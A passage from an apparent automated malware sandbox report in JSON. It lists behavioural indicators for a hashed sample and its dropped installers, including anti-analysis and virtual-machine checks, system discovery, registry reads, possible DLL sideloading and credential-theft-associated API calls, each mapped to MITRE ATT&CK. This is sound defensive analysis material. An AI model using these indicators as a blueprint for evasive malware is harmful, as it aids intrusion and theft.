00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"EnumDateFormatsExA\" (Indicator: \"EnumDateFormats\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"EnumDateFormatsExA\" (Indicator: \"EnumDateFormats\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002856-00000C2C-272879935\")\n Found reference to API \"GetAddrInfoExW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002856-00000C2C-276347620\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002856-00000C2C-277077196\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00000640)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000640)\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00000640)\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00000640)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000640)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000640)\n \"InstallSetup9.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002856)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"IsWow64Process\" with parameter \"640\" - (UID: 00000000-00000640)\n \"InstallSetup9.exe\" called \"IsWow64Process\" with parameter \"2856\" - (UID: 00000000-00002856)\n \"toolspub1.exe\" called \"IsWow64Process\" with parameter \"4224\" - (UID: 00000000-00004224)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"IsWow64Process\" with parameter \"2512\" - (UID: 00000000-00002512)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"BroomSetup.exe\" called \"EnumWindows\" with parameter \"1244336\" - (UID: 00000000-00004500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"Remover Update\" - (UID: 00000000-00004500)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"About\" - (UID: 00000000-00004500)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"Remover -\" - (UID: 00000000-00004500)\n \"BroomSetup.exe\" called \"GetWindowTextW\" with parameter \"1f043e04340442043204350440043604340435043d043804350420004304340430043b0435043d0438044f04\" - (UID: 00000000-00004500)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000640)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$36","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"BroomSetup.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00004500)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$37","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"InstallSetup9.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002856)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002512)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002512)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002512)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidA\" with param Name SYSTEM (UID: 00000000-00002512)\n \"BroomSetup.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004500)\n \"BroomSetup.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004500)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00003348)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003348)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"$38","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: BroomSetup.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: InstallSetup9.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: rty25.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00004224-29862-440-004292C0\n GetTickCount@KERNEL32.DLL at 00000000-00003192-32151-57-00671D93","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"2651822,1344,3150,,IsWow64Process,kernel32.dll,\"252:06:33.739\",RX=0,PX=0\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002856.00000000.80757.00220000.00000004.mdmp\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004500.00000000.81045.007CB000.00000004.mdmp, 00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000002.84888.007CB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003192-32151-57-00671D93","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003192-32151-57-00671D93","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesA@KERNEL32.DLL at 00000000-00004224-29862-397-004154C3\n EnumSystemLocalesA@KERNEL32.DLL at 00000000-00004224-29862-398-00415487\n EnumSystemLocalesA@KERNEL32.DLL at 00000000-00004224-29862-400-00415420\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00004224-29862-407-00414F6C\n GetLocaleInfoA@KERNEL32.DLL at 00000000-00004224-29862-423-00415063\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00004224-29862-425-0041510A\n GetLocaleInfoA@KERNEL32.DLL at 00000000-00004224-29862-430-00415336\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00004224-29862-440-004292C0\n GetUserDefaultLCID@KERNEL32.DLL at 00000000-00004224-29862-1263-00414F58\n EnumSystemLocalesA@KERNEL32.DLL at 00000000-00004224-29862-1271-004153F4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$39","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set\" (Indicator: \"set\"; File: \"screen_1.png\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"c:\\windows\\rss\\csrss.exeGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeaps@KERNEL32.DLL at 00000000-00004224-29862-440-004292C0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\NSI3737.TMP\\INETC.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"BroomSetup.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" queries volume information of \"C:\\84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" at 00000000-00000640-0000010C-3209074","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"InstallSetup9.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"InstallSetup9.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT Name FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":".NET code is able to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":5,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found reference to API \"QueryServiceStatusEx\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"at System.Diagnostics.Process.StartWithShellExecuteEx(ProcessStartInfo startInfo)\" (Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found string \"nostics.ProcessStartInfo)\" (Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"toolspub1.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"toolspub1.exe\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetProcessHeaps\" (Indicator: \"GetProcessHeaps\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetProcessHeaps\" (Indicator: \"GetProcessHeaps\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$40","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$41","origin":"API 